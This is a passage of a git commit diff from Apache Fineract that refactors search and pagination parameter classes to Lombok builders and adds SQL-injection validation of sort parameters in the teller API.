FINERACT-2076: SQL query optimization
This commit is contained in:
committed by
Aleksandar Vidakovic
parent
039bca440b
commit
a022a51189
+2
-1
@@ -147,7 +147,8 @@ public class ProvisioningEntriesApiResource {
|
||||
@QueryParam("productId") final Long productId, @QueryParam("categoryId") final Long categoryId,
|
||||
@Context final UriInfo uriInfo) {
|
||||
this.platformSecurityContext.authenticatedUser();
|
||||
SearchParameters params = SearchParameters.forProvisioningEntries(entryId, officeId, productId, categoryId, offset, limit);
|
||||
SearchParameters params = SearchParameters.builder().limit(limit).offset(offset).provisioningEntryId(entryId).officeId(officeId)
|
||||
.productId(productId).categoryId(categoryId).build();
|
||||
Page<LoanProductProvisioningEntryData> entries = this.provisioningEntriesReadPlatformService.retrieveProvisioningEntries(params);
|
||||
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
|
||||
return this.entriesApiJsonSerializer.serialize(settings, entries, PROVISIONING_ENTRY_PARAMETERS);
|
||||
|
||||
+6
-6
@@ -319,33 +319,33 @@ public class ProvisioningEntriesReadPlatformServiceImpl implements ProvisioningE
|
||||
String whereClose = " where ";
|
||||
List<Object> items = new ArrayList<>();
|
||||
|
||||
if (searchParams.isProvisioningEntryIdPassed()) {
|
||||
if (searchParams.hasProvisioningEntryId()) {
|
||||
sqlBuilder.append(whereClose + " entry.history_id = ?");
|
||||
items.add(searchParams.getProvisioningEntryId());
|
||||
whereClose = " and ";
|
||||
}
|
||||
|
||||
if (searchParams.isOfficeIdPassed()) {
|
||||
if (searchParams.hasOfficeId()) {
|
||||
sqlBuilder.append(whereClose + " entry.office_id = ?");
|
||||
items.add(searchParams.getOfficeId());
|
||||
whereClose = " and ";
|
||||
}
|
||||
|
||||
if (searchParams.isProductIdPassed()) {
|
||||
if (searchParams.hasProductId()) {
|
||||
sqlBuilder.append(whereClose + " entry.product_id = ?");
|
||||
items.add(searchParams.getProductId());
|
||||
whereClose = " and ";
|
||||
}
|
||||
|
||||
if (searchParams.isCategoryIdPassed()) {
|
||||
if (searchParams.hasCategoryId()) {
|
||||
sqlBuilder.append(whereClose + " entry.category_id = ?");
|
||||
items.add(searchParams.getCategoryId());
|
||||
}
|
||||
sqlBuilder.append(" order by entry.id");
|
||||
|
||||
if (searchParams.isLimited()) {
|
||||
if (searchParams.hasLimit()) {
|
||||
sqlBuilder.append(" limit ").append(searchParams.getLimit());
|
||||
if (searchParams.isOffset()) {
|
||||
if (searchParams.hasOffset()) {
|
||||
sqlBuilder.append(" offset ").append(searchParams.getOffset());
|
||||
}
|
||||
}
|
||||
|
||||
+10
-2
@@ -50,6 +50,7 @@ import org.apache.fineract.infrastructure.core.service.DateUtils;
|
||||
import org.apache.fineract.infrastructure.core.service.Page;
|
||||
import org.apache.fineract.infrastructure.core.service.SearchParameters;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.organisation.teller.data.CashierData;
|
||||
import org.apache.fineract.organisation.teller.data.CashierTransactionData;
|
||||
import org.apache.fineract.organisation.teller.data.CashierTransactionsWithSummaryData;
|
||||
@@ -70,6 +71,7 @@ public class TellerApiResource {
|
||||
private final DefaultToApiJsonSerializer<TellerData> jsonSerializer;
|
||||
private final TellerManagementReadPlatformService readPlatformService;
|
||||
private final PortfolioCommandSourceWritePlatformService commandWritePlatformService;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@GET
|
||||
@Consumes({ MediaType.TEXT_HTML, MediaType.APPLICATION_JSON })
|
||||
@@ -315,7 +317,10 @@ public class TellerApiResource {
|
||||
|
||||
final LocalDate fromDate = null;
|
||||
final LocalDate toDate = null;
|
||||
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
|
||||
.sortOrder(sortOrder).build();
|
||||
final Page<CashierTransactionData> cashierTxns = this.readPlatformService.retrieveCashierTransactions(cashierId, false, fromDate,
|
||||
toDate, currencyCode, searchParameters);
|
||||
|
||||
@@ -344,7 +349,10 @@ public class TellerApiResource {
|
||||
final LocalDate fromDate = null;
|
||||
final LocalDate toDate = null;
|
||||
|
||||
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
|
||||
.sortOrder(sortOrder).build();
|
||||
|
||||
final CashierTransactionsWithSummaryData cashierTxnWithSummary = this.readPlatformService
|
||||
.retrieveCashierTransactionsWithSummary(cashierId, false, fromDate, toDate, currencyCode, searchParameters);
|
||||
|
||||
+2
-8
@@ -56,15 +56,9 @@ public class CashierTransactionDataValidator {
|
||||
}
|
||||
|
||||
public void validateSettleCashAndCashOutTransactions(final Long cashierId, String currencyCode, final BigDecimal transactionAmount) {
|
||||
final Integer offset = null;
|
||||
final Integer limit = null;
|
||||
final String orderBy = null;
|
||||
final String sortOrder = null;
|
||||
final LocalDate fromDate = null;
|
||||
final LocalDate toDate = null;
|
||||
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().build();
|
||||
final CashierTransactionsWithSummaryData cashierTxnWithSummary = this.tellerManagementReadPlatformService
|
||||
.retrieveCashierTransactionsWithSummary(cashierId, false, fromDate, toDate, currencyCode, searchParameters);
|
||||
.retrieveCashierTransactionsWithSummary(cashierId, false, null, null, currencyCode, searchParameters);
|
||||
if (MathUtil.isGreaterThan(transactionAmount, cashierTxnWithSummary.getNetCash())) {
|
||||
throw new CashierInsufficientAmountException();
|
||||
}
|
||||
|
||||
+36
@@ -76,6 +76,8 @@ public class FineractProperties {
|
||||
|
||||
private FineractModulesProperties module;
|
||||
|
||||
private FineractSqlValidationProperties sqlValidation;
|
||||
|
||||
@Getter
|
||||
@Setter
|
||||
public static class FineractTenantProperties {
|
||||
@@ -533,4 +535,38 @@ public class FineractProperties {
|
||||
public static class FineractInvestorModuleProperties extends AbstractFineractModuleProperties {
|
||||
|
||||
}
|
||||
|
||||
@Getter
|
||||
@Setter
|
||||
public static class FineractSqlValidationProperties {
|
||||
|
||||
private List<FineractSqlValidationPatternProperties> patterns;
|
||||
private List<FineractSqlValidationProfileProperties> profiles;
|
||||
}
|
||||
|
||||
@Getter
|
||||
@Setter
|
||||
public static class FineractSqlValidationProfileProperties {
|
||||
|
||||
private String name;
|
||||
private String description;
|
||||
private List<FineractSqlValidationPatternReferenceProperties> patternRefs;
|
||||
private Boolean enabled = true;
|
||||
}
|
||||
|
||||
@Getter
|
||||
@Setter
|
||||
public static class FineractSqlValidationPatternReferenceProperties {
|
||||
|
||||
private String name;
|
||||
private Integer order;
|
||||
}
|
||||
|
||||
@Getter
|
||||
@Setter
|
||||
public static class FineractSqlValidationPatternProperties {
|
||||
|
||||
private String name;
|
||||
private String pattern;
|
||||
}
|
||||
}
|
||||
|
||||
+36
-75
@@ -18,101 +18,62 @@
|
||||
*/
|
||||
package org.apache.fineract.infrastructure.core.data;
|
||||
|
||||
import lombok.AccessLevel;
|
||||
import lombok.Builder;
|
||||
import lombok.Getter;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
|
||||
|
||||
/**
|
||||
* <p>
|
||||
* Immutable data object representing pagination parameter values.
|
||||
* </p>
|
||||
*/
|
||||
public final class PaginationParameters {
|
||||
@Builder
|
||||
@Getter
|
||||
public class PaginationParameters {
|
||||
|
||||
private final boolean paged;
|
||||
private final Integer offset;
|
||||
private final Integer limit;
|
||||
private final String orderBy;
|
||||
private final String sortOrder;
|
||||
// TODO: why do we really need this class? SearchParameters seems to provide similar functionality
|
||||
|
||||
public static PaginationParameters instance(Boolean paged, Integer offset, Integer limit, String orderBy, String sortOrder) {
|
||||
if (null == paged) {
|
||||
paged = false;
|
||||
}
|
||||
public static final int DEFAULT_MAX_LIMIT = 200;
|
||||
|
||||
final Integer maxLimitAllowed = getCheckedLimit(limit);
|
||||
|
||||
return new PaginationParameters(paged, offset, maxLimitAllowed, orderBy, sortOrder);
|
||||
}
|
||||
|
||||
private PaginationParameters(boolean paged, Integer offset, Integer limit, String orderBy, String sortOrder) {
|
||||
SQLInjectionValidator.validateSQLInput(orderBy);
|
||||
SQLInjectionValidator.validateSQLInput(sortOrder);
|
||||
|
||||
this.paged = paged;
|
||||
this.offset = offset;
|
||||
this.limit = limit;
|
||||
this.orderBy = orderBy;
|
||||
this.sortOrder = sortOrder;
|
||||
}
|
||||
|
||||
public static Integer getCheckedLimit(final Integer limit) {
|
||||
|
||||
final Integer maxLimitAllowed = 200;
|
||||
// default to max limit first off
|
||||
Integer checkedLimit = maxLimitAllowed;
|
||||
|
||||
if (limit != null && limit > 0) {
|
||||
checkedLimit = limit;
|
||||
} else if (limit != null) {
|
||||
// unlimited case: limit provided and 0 or less
|
||||
checkedLimit = null;
|
||||
}
|
||||
|
||||
return checkedLimit;
|
||||
}
|
||||
|
||||
public boolean isPaged() {
|
||||
return this.paged;
|
||||
}
|
||||
|
||||
public Integer getOffset() {
|
||||
return this.offset;
|
||||
}
|
||||
private boolean paged;
|
||||
private Integer offset;
|
||||
@Getter(AccessLevel.NONE)
|
||||
private Integer limit;
|
||||
private String orderBy;
|
||||
private String sortOrder;
|
||||
|
||||
public Integer getLimit() {
|
||||
return this.limit;
|
||||
if (limit == null) {
|
||||
return DEFAULT_MAX_LIMIT;
|
||||
}
|
||||
|
||||
if (limit > 0) {
|
||||
return limit;
|
||||
}
|
||||
|
||||
return null; // unlimited (0 or less)
|
||||
}
|
||||
|
||||
public String getOrderBy() {
|
||||
return this.orderBy;
|
||||
}
|
||||
|
||||
public String getSortOrder() {
|
||||
return this.sortOrder;
|
||||
}
|
||||
|
||||
public boolean isOrderByRequested() {
|
||||
public boolean hasOrderBy() {
|
||||
return StringUtils.isNotBlank(this.orderBy);
|
||||
}
|
||||
|
||||
public boolean isSortOrderProvided() {
|
||||
public boolean hasSortOrder() {
|
||||
return StringUtils.isNotBlank(this.sortOrder);
|
||||
}
|
||||
|
||||
public boolean isLimited() {
|
||||
return this.limit != null && this.limit.intValue() > 0;
|
||||
public boolean hasLimit() {
|
||||
return this.limit != null && this.limit > 0;
|
||||
}
|
||||
|
||||
public boolean isOffset() {
|
||||
public boolean hasOffset() {
|
||||
return this.offset != null;
|
||||
}
|
||||
|
||||
// TODO: following functions are just doing too much in one place; will disappear with type safe queries
|
||||
|
||||
public String orderBySql() {
|
||||
final StringBuilder sql = new StringBuilder();
|
||||
|
||||
if (this.isOrderByRequested()) {
|
||||
if (this.hasOrderBy()) {
|
||||
sql.append(" order by ").append(this.getOrderBy());
|
||||
if (this.isSortOrderProvided()) {
|
||||
if (this.hasSortOrder()) {
|
||||
sql.append(' ').append(this.getSortOrder());
|
||||
}
|
||||
}
|
||||
@@ -121,9 +82,9 @@ public final class PaginationParameters {
|
||||
|
||||
public String limitSql() {
|
||||
final StringBuilder sql = new StringBuilder();
|
||||
if (this.isLimited()) {
|
||||
if (this.hasLimit()) {
|
||||
sql.append(" limit ").append(this.getLimit());
|
||||
if (this.isOffset()) {
|
||||
if (this.hasOffset()) {
|
||||
sql.append(" offset ").append(this.getOffset());
|
||||
}
|
||||
}
|
||||
@@ -132,10 +93,10 @@ public final class PaginationParameters {
|
||||
|
||||
public String paginationSql() {
|
||||
final StringBuilder sqlBuilder = new StringBuilder(50);
|
||||
if (this.isOrderByRequested()) {
|
||||
if (this.hasOrderBy()) {
|
||||
sqlBuilder.append(' ').append(this.orderBySql());
|
||||
}
|
||||
if (this.isLimited()) {
|
||||
if (this.hasLimit()) {
|
||||
sqlBuilder.append(' ').append(this.limitSql());
|
||||
}
|
||||
|
||||
|
||||
+2
-2
@@ -34,7 +34,7 @@ public class PaginationParametersDataValidator {
|
||||
public void validateParameterValues(PaginationParameters parameters, final Set<String> supportedOrdeByValues,
|
||||
final String resourceName) {
|
||||
final List<ApiParameterError> dataValidationErrors = new ArrayList<>();
|
||||
if (parameters.isOrderByRequested() && !supportedOrdeByValues.contains(parameters.getOrderBy())) {
|
||||
if (parameters.hasOrderBy() && !supportedOrdeByValues.contains(parameters.getOrderBy())) {
|
||||
final String defaultUserMessage = "The orderBy value '" + parameters.getOrderBy()
|
||||
+ "' is not supported. The supported orderBy values are " + supportedOrdeByValues;
|
||||
final ApiParameterError error = ApiParameterError.parameterError(
|
||||
@@ -43,7 +43,7 @@ public class PaginationParametersDataValidator {
|
||||
dataValidationErrors.add(error);
|
||||
}
|
||||
|
||||
if (parameters.isSortOrderProvided() && !sortOrderValues.contains(parameters.getSortOrder().toUpperCase())) {
|
||||
if (parameters.hasSortOrder() && !sortOrderValues.contains(parameters.getSortOrder().toUpperCase())) {
|
||||
final String defaultUserMessage = "The sortOrder value '" + parameters.getSortOrder()
|
||||
+ "' is not supported. The supported sortOrder values are " + sortOrderValues;
|
||||
final ApiParameterError error = ApiParameterError.parameterError(
|
||||
|
||||
+56
-461
@@ -18,518 +18,113 @@
|
||||
*/
|
||||
package org.apache.fineract.infrastructure.core.service;
|
||||
|
||||
import lombok.AccessLevel;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Getter;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
@Builder
|
||||
@Getter
|
||||
@AllArgsConstructor
|
||||
public final class SearchParameters {
|
||||
public class SearchParameters {
|
||||
|
||||
private final Long officeId;
|
||||
private final String externalId;
|
||||
private final String name;
|
||||
private final String hierarchy;
|
||||
private final String firstname;
|
||||
private final String lastname;
|
||||
private final String status;
|
||||
private final Integer offset;
|
||||
private final Integer limit;
|
||||
private final String orderBy;
|
||||
private final String sortOrder;
|
||||
private final String accountNo;
|
||||
private final String currencyCode;
|
||||
public static final int DEFAULT_MAX_LIMIT = 200;
|
||||
|
||||
private final Long staffId;
|
||||
private Long officeId;
|
||||
private String externalId;
|
||||
private String name;
|
||||
private String hierarchy;
|
||||
private String firstname;
|
||||
private String lastname;
|
||||
private String status;
|
||||
private Integer offset;
|
||||
@Getter(AccessLevel.NONE)
|
||||
private Integer limit;
|
||||
private String orderBy;
|
||||
private String sortOrder;
|
||||
private String accountNo;
|
||||
private String currencyCode;
|
||||
private Long staffId;
|
||||
private Long loanId;
|
||||
private Long savingsId;
|
||||
@Getter(AccessLevel.NONE)
|
||||
private Boolean orphansOnly;
|
||||
private Long provisioningEntryId;
|
||||
private Long productId;
|
||||
private Long categoryId;
|
||||
@Getter(AccessLevel.NONE)
|
||||
private Boolean isSelfUser;
|
||||
|
||||
private final Long loanId;
|
||||
public Integer getLimit() {
|
||||
if (limit == null) {
|
||||
return DEFAULT_MAX_LIMIT;
|
||||
}
|
||||
|
||||
private final Long savingsId;
|
||||
private final Boolean orphansOnly;
|
||||
if (limit > 0) {
|
||||
return limit;
|
||||
}
|
||||
|
||||
// Provisioning Entries Search Params
|
||||
private final Long provisioningEntryId;
|
||||
private final Long productId;
|
||||
private final Long categoryId;
|
||||
private final boolean isSelfUser;
|
||||
|
||||
public static SearchParameters from(final Long officeId, final String externalId, final String name, final String hierarchy) {
|
||||
final Long staffId = null;
|
||||
final String accountNo = null;
|
||||
final Long loanId = null;
|
||||
final Long savingsId = null;
|
||||
final Boolean orphansOnly = false;
|
||||
final boolean isSelfUser = false;
|
||||
return new SearchParameters(officeId, externalId, name, hierarchy, null, null, null, null, null, null, staffId, accountNo, loanId,
|
||||
savingsId, orphansOnly, isSelfUser);
|
||||
return null; // unlimited (0 or less)
|
||||
}
|
||||
|
||||
public static SearchParameters forClients(final Long officeId, final String externalId, final String displayName,
|
||||
final String firstname, final String lastname, final String status, final String hierarchy, final Integer offset,
|
||||
final Integer limit, final String orderBy, final String sortOrder, final Boolean orphansOnly, final boolean isSelfUser) {
|
||||
|
||||
final Integer maxLimitAllowed = getCheckedLimit(limit);
|
||||
final Long staffId = null;
|
||||
final String accountNo = null;
|
||||
final Long loanId = null;
|
||||
final Long savingsId = null;
|
||||
|
||||
return new SearchParameters(officeId, externalId, displayName, hierarchy, firstname, lastname, status, offset, maxLimitAllowed,
|
||||
orderBy, sortOrder, staffId, accountNo, loanId, savingsId, orphansOnly, isSelfUser);
|
||||
public Boolean getOrphansOnly() {
|
||||
return Boolean.TRUE.equals(orphansOnly);
|
||||
}
|
||||
|
||||
public static SearchParameters forGroups(final Long officeId, final Long staffId, final String externalId, final String name,
|
||||
final String hierarchy, final Integer offset, final Integer limit, final String orderBy, final String sortOrder,
|
||||
final Boolean orphansOnly) {
|
||||
|
||||
final Integer maxLimitAllowed = getCheckedLimit(limit);
|
||||
final String accountNo = null;
|
||||
final Long loanId = null;
|
||||
final Long savingsId = null;
|
||||
final boolean isSelfUser = false;
|
||||
|
||||
return new SearchParameters(officeId, externalId, name, hierarchy, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
|
||||
accountNo, loanId, savingsId, orphansOnly, isSelfUser);
|
||||
public Boolean getIsSelfUser() {
|
||||
return Boolean.TRUE.equals(isSelfUser);
|
||||
}
|
||||
|
||||
public static SearchParameters forOffices(final String orderBy, final String sortOrder) {
|
||||
final Boolean orphansOnly = false;
|
||||
final boolean isSelfUser = false;
|
||||
return new SearchParameters(null, null, null, null, null, null, null, null, orderBy, sortOrder, null, null, null, null, orphansOnly,
|
||||
isSelfUser);
|
||||
}
|
||||
|
||||
public static SearchParameters forLoans(final String externalId, final Integer offset, final Integer limit, final String orderBy,
|
||||
final String sortOrder, final String accountNo) {
|
||||
|
||||
final Integer maxLimitAllowed = getCheckedLimit(limit);
|
||||
final Long staffId = null;
|
||||
final Long loanId = null;
|
||||
final Long savingsId = null;
|
||||
final Boolean orphansOnly = false;
|
||||
final boolean isSelfUser = false;
|
||||
|
||||
return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
|
||||
accountNo, loanId, savingsId, orphansOnly, isSelfUser);
|
||||
}
|
||||
|
||||
public static SearchParameters forJournalEntries(final Long officeId, final Integer offset, final Integer limit, final String orderBy,
|
||||
final String sortOrder, final Long loanId, final Long savingsId) {
|
||||
|
||||
final Integer maxLimitAllowed = getCheckedLimit(limit);
|
||||
final Long staffId = null;
|
||||
final Boolean orphansOnly = false;
|
||||
final boolean isSelfUser = false;
|
||||
|
||||
return new SearchParameters(officeId, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, null,
|
||||
loanId, savingsId, orphansOnly, isSelfUser);
|
||||
}
|
||||
|
||||
public static SearchParameters forJournalEntries(final Long officeId, final Integer offset, final Integer limit, final String orderBy,
|
||||
final String sortOrder, final Long loanId, final Long savingsId, final String currencyCode) {
|
||||
final Integer maxLimitAllowed = getCheckedLimit(limit);
|
||||
final Long staffId = null;
|
||||
final Boolean orphansOnly = false;
|
||||
|
||||
return new SearchParameters(officeId, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, null,
|
||||
loanId, savingsId, orphansOnly, currencyCode);
|
||||
}
|
||||
|
||||
public static SearchParameters forPagination(final Integer offset, final Integer limit, final String orderBy, final String sortOrder) {
|
||||
|
||||
final Integer maxLimitAllowed = getCheckedLimit(limit);
|
||||
final Long staffId = null;
|
||||
final Long loanId = null;
|
||||
final Long savingsId = null;
|
||||
final Boolean orphansOnly = false;
|
||||
final boolean isSelfUser = false;
|
||||
|
||||
return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, null, loanId,
|
||||
savingsId, orphansOnly, isSelfUser);
|
||||
}
|
||||
|
||||
public static SearchParameters forPaginationAndAccountNumberSearch(final Integer offset, final Integer limit, final String orderBy,
|
||||
final String sortOrder, final String accountNumber) {
|
||||
|
||||
final Integer maxLimitAllowed = getCheckedLimit(limit);
|
||||
final Long staffId = null;
|
||||
final Long loanId = null;
|
||||
final Long savingsId = null;
|
||||
final Boolean orphansOnly = false;
|
||||
final boolean isSelfUser = false;
|
||||
|
||||
return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, accountNumber,
|
||||
loanId, savingsId, orphansOnly, isSelfUser);
|
||||
}
|
||||
|
||||
public static SearchParameters forPagination(final Integer offset, final Integer limit) {
|
||||
|
||||
final Integer maxLimitAllowed = getCheckedLimit(limit);
|
||||
final Long staffId = null;
|
||||
final Long loanId = null;
|
||||
final Long savingsId = null;
|
||||
final Boolean orphansOnly = false;
|
||||
final String orderBy = null;
|
||||
final String sortOrder = null;
|
||||
final boolean isSelfUser = false;
|
||||
|
||||
return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, null, loanId,
|
||||
savingsId, orphansOnly, isSelfUser);
|
||||
}
|
||||
|
||||
public static SearchParameters forProvisioningEntries(final Long provisioningEntryId, final Long officeId, final Long productId,
|
||||
final Long categoryId, final Integer offset, final Integer limit) {
|
||||
return new SearchParameters(provisioningEntryId, officeId, productId, categoryId, offset, limit);
|
||||
}
|
||||
|
||||
public static SearchParameters forSavings(final String externalId, final Integer offset, final Integer limit, final String orderBy,
|
||||
final String sortOrder) {
|
||||
|
||||
final Integer maxLimitAllowed = getCheckedLimit(limit);
|
||||
final Long staffId = null;
|
||||
final String accountNo = null;
|
||||
final Long loanId = null;
|
||||
final Long savingsId = null;
|
||||
final Boolean orphansOnly = false;
|
||||
final boolean isSelfUser = false;
|
||||
|
||||
return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
|
||||
accountNo, loanId, savingsId, orphansOnly, isSelfUser);
|
||||
}
|
||||
|
||||
public static SearchParameters forAccountTransfer(final String externalId, final Integer offset, final Integer limit,
|
||||
final String orderBy, final String sortOrder) {
|
||||
|
||||
final Integer maxLimitAllowed = getCheckedLimit(limit);
|
||||
final Long staffId = null;
|
||||
final String accountNo = null;
|
||||
final Long loanId = null;
|
||||
final Long savingsId = null;
|
||||
final Boolean orphansOnly = false;
|
||||
final boolean isSelfUser = false;
|
||||
|
||||
return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
|
||||
accountNo, loanId, savingsId, orphansOnly, isSelfUser);
|
||||
}
|
||||
|
||||
public static SearchParameters forSMSCampaign(final Integer offset, final Integer limit, final String orderBy, final String sortOrder) {
|
||||
|
||||
final String externalId = null;
|
||||
final Integer maxLimitAllowed = getCheckedLimit(limit);
|
||||
final Long staffId = null;
|
||||
final String accountNo = null;
|
||||
final Long loanId = null;
|
||||
final Long savingsId = null;
|
||||
final Boolean orphansOnly = false;
|
||||
final boolean isSelfUser = false;
|
||||
|
||||
return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
|
||||
accountNo, loanId, savingsId, orphansOnly, isSelfUser);
|
||||
}
|
||||
|
||||
public static SearchParameters forEmailCampaign(final Integer offset, final Integer limit, final String orderBy,
|
||||
final String sortOrder) {
|
||||
|
||||
final String externalId = null;
|
||||
final Integer maxLimitAllowed = getCheckedLimit(limit);
|
||||
final Long staffId = null;
|
||||
final String accountNo = null;
|
||||
final Long loanId = null;
|
||||
final Long savingsId = null;
|
||||
final Boolean orphansOnly = false;
|
||||
final boolean isSelfUser = false;
|
||||
|
||||
return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
|
||||
accountNo, loanId, savingsId, orphansOnly, isSelfUser);
|
||||
}
|
||||
|
||||
private SearchParameters(final Long officeId, final String externalId, final String name, final String hierarchy,
|
||||
final String firstname, final String lastname, final String status, final Integer offset, final Integer limit,
|
||||
final String orderBy, final String sortOrder, final Long staffId, final String accountNo, final Long loanId,
|
||||
final Long savingsId, final Boolean orphansOnly, boolean isSelfUser) {
|
||||
this.officeId = officeId;
|
||||
this.externalId = externalId;
|
||||
this.name = name;
|
||||
this.hierarchy = hierarchy;
|
||||
this.firstname = firstname;
|
||||
this.lastname = lastname;
|
||||
this.offset = offset;
|
||||
this.limit = limit;
|
||||
this.orderBy = orderBy;
|
||||
this.sortOrder = sortOrder;
|
||||
this.staffId = staffId;
|
||||
this.accountNo = accountNo;
|
||||
this.loanId = loanId;
|
||||
this.savingsId = savingsId;
|
||||
this.orphansOnly = orphansOnly;
|
||||
this.currencyCode = null;
|
||||
this.provisioningEntryId = null;
|
||||
this.productId = null;
|
||||
this.categoryId = null;
|
||||
this.isSelfUser = isSelfUser;
|
||||
this.status = status;
|
||||
|
||||
}
|
||||
|
||||
private SearchParameters(final Long officeId, final String externalId, final String name, final String hierarchy,
|
||||
final String firstname, final String lastname, final Integer offset, final Integer limit, final String orderBy,
|
||||
final String sortOrder, final Long staffId, final String accountNo, final Long loanId, final Long savingsId,
|
||||
final Boolean orphansOnly, boolean isSelfUser) {
|
||||
this.officeId = officeId;
|
||||
this.externalId = externalId;
|
||||
this.name = name;
|
||||
this.hierarchy = hierarchy;
|
||||
this.firstname = firstname;
|
||||
this.lastname = lastname;
|
||||
this.offset = offset;
|
||||
this.limit = limit;
|
||||
this.orderBy = orderBy;
|
||||
this.sortOrder = sortOrder;
|
||||
this.staffId = staffId;
|
||||
this.accountNo = accountNo;
|
||||
this.loanId = loanId;
|
||||
this.savingsId = savingsId;
|
||||
this.orphansOnly = orphansOnly;
|
||||
this.currencyCode = null;
|
||||
this.provisioningEntryId = null;
|
||||
this.productId = null;
|
||||
this.categoryId = null;
|
||||
this.isSelfUser = isSelfUser;
|
||||
this.status = null;
|
||||
}
|
||||
|
||||
private SearchParameters(final Long provisioningEntryId, final Long officeId, final Long productId, final Long categoryId,
|
||||
final Integer offset, final Integer limit) {
|
||||
this.externalId = null;
|
||||
this.name = null;
|
||||
this.hierarchy = null;
|
||||
this.firstname = null;
|
||||
this.lastname = null;
|
||||
this.orderBy = null;
|
||||
this.sortOrder = null;
|
||||
this.staffId = null;
|
||||
this.accountNo = null;
|
||||
this.loanId = null;
|
||||
this.savingsId = null;
|
||||
this.orphansOnly = null;
|
||||
this.currencyCode = null;
|
||||
this.officeId = officeId;
|
||||
this.offset = offset;
|
||||
this.limit = limit;
|
||||
this.provisioningEntryId = provisioningEntryId;
|
||||
this.productId = productId;
|
||||
this.categoryId = categoryId;
|
||||
this.isSelfUser = false;
|
||||
this.status = null;
|
||||
|
||||
}
|
||||
|
||||
public SearchParameters(final Long officeId, final String externalId, final String name, final String hierarchy, final String firstname,
|
||||
final String lastname, final Integer offset, final Integer limit, final String orderBy, final String sortOrder,
|
||||
final Long staffId, final String accountNo, final Long loanId, final Long savingsId, final Boolean orphansOnly,
|
||||
final String currencyCode) {
|
||||
this.officeId = officeId;
|
||||
this.externalId = externalId;
|
||||
this.name = name;
|
||||
this.hierarchy = hierarchy;
|
||||
this.firstname = firstname;
|
||||
this.lastname = lastname;
|
||||
this.offset = offset;
|
||||
this.limit = limit;
|
||||
this.orderBy = orderBy;
|
||||
this.sortOrder = sortOrder;
|
||||
this.staffId = staffId;
|
||||
this.accountNo = accountNo;
|
||||
this.loanId = loanId;
|
||||
this.savingsId = savingsId;
|
||||
this.orphansOnly = orphansOnly;
|
||||
this.currencyCode = currencyCode;
|
||||
this.provisioningEntryId = null;
|
||||
this.productId = null;
|
||||
this.categoryId = null;
|
||||
this.isSelfUser = false;
|
||||
this.status = null;
|
||||
|
||||
}
|
||||
|
||||
public boolean isOrderByRequested() {
|
||||
public boolean hasOrderBy() {
|
||||
return StringUtils.isNotBlank(this.orderBy);
|
||||
}
|
||||
|
||||
public boolean isSortOrderProvided() {
|
||||
public boolean hasSortOrder() {
|
||||
return StringUtils.isNotBlank(this.sortOrder);
|
||||
}
|
||||
|
||||
public static Integer getCheckedLimit(final Integer limit) {
|
||||
|
||||
final Integer maxLimitAllowed = 200;
|
||||
// default to max limit first off
|
||||
Integer checkedLimit = maxLimitAllowed;
|
||||
|
||||
if (limit != null && limit > 0) {
|
||||
checkedLimit = limit;
|
||||
} else if (limit != null) {
|
||||
// unlimited case: limit provided and 0 or less
|
||||
checkedLimit = null;
|
||||
}
|
||||
|
||||
return checkedLimit;
|
||||
}
|
||||
|
||||
public boolean isOfficeIdPassed() {
|
||||
public boolean hasOfficeId() {
|
||||
return this.officeId != null && this.officeId != 0;
|
||||
}
|
||||
|
||||
public boolean isCurrencyCodePassed() {
|
||||
return this.currencyCode != null;
|
||||
public boolean hasCurrencyCode() {
|
||||
return StringUtils.isNotBlank(this.currencyCode);
|
||||
}
|
||||
|
||||
public boolean isLimited() {
|
||||
return this.limit != null && this.limit.intValue() > 0;
|
||||
public boolean hasLimit() {
|
||||
return this.limit != null && this.limit > 0;
|
||||
}
|
||||
|
||||
public boolean isOffset() {
|
||||
public boolean hasOffset() {
|
||||
return this.offset != null;
|
||||
}
|
||||
|
||||
public boolean isScopedByOfficeHierarchy() {
|
||||
public boolean hasHierarchy() {
|
||||
return StringUtils.isNotBlank(this.hierarchy);
|
||||
}
|
||||
|
||||
public Long getOfficeId() {
|
||||
return this.officeId;
|
||||
}
|
||||
|
||||
public String getCurrencyCode() {
|
||||
return this.currencyCode;
|
||||
}
|
||||
|
||||
public String getExternalId() {
|
||||
return this.externalId;
|
||||
}
|
||||
|
||||
public String getName() {
|
||||
return this.name;
|
||||
}
|
||||
|
||||
public String getHierarchy() {
|
||||
return this.hierarchy;
|
||||
}
|
||||
|
||||
public String getFirstname() {
|
